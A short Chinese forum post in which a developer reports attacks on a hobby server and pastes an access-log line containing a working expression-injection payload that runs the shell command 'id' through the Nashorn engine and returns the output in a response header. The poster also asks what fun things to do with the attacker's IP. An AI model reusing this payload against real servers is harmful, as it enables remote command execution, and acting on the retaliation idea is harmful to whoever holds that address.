获得徽章 15
- 大佬们,服务器上随便搞了一个自己玩的小项目,被人攻击了
![[微笑]](//lf-web-assets.juejin.cn/obj/juejin-web/xitu_juejin_web/img/jj_emoji_1.7d9f699.png)
一直想通过url参数注入我,或者尝试请求到一些我的静态资源,或者绕过我的验证。
虽然他一直没成功,现在我拿到他的ip了,能干点啥(好玩一点的)?
这种攻击手段应该不是大佬吧。
下面是url注入的日志:
GET /${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-Cmd-Response",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("var d='';var i = java.lang.Runtime.getRuntime().exec('id').getInputStream(); while(i.available())d+=String.fromCharCode(i.read());d"))/ has no mapping.展开等人赞过45
![[微笑]](http://lf-web-assets.juejin.cn/obj/juejin-web/xitu_juejin_web/img/jj_emoji_1.7d9f699.png)
这种攻击手段应该不是大佬吧。![[流泪]](http://lf-web-assets.juejin.cn/obj/juejin-web/xitu_juejin_web/img/jj_emoji_6.dde0d83.png)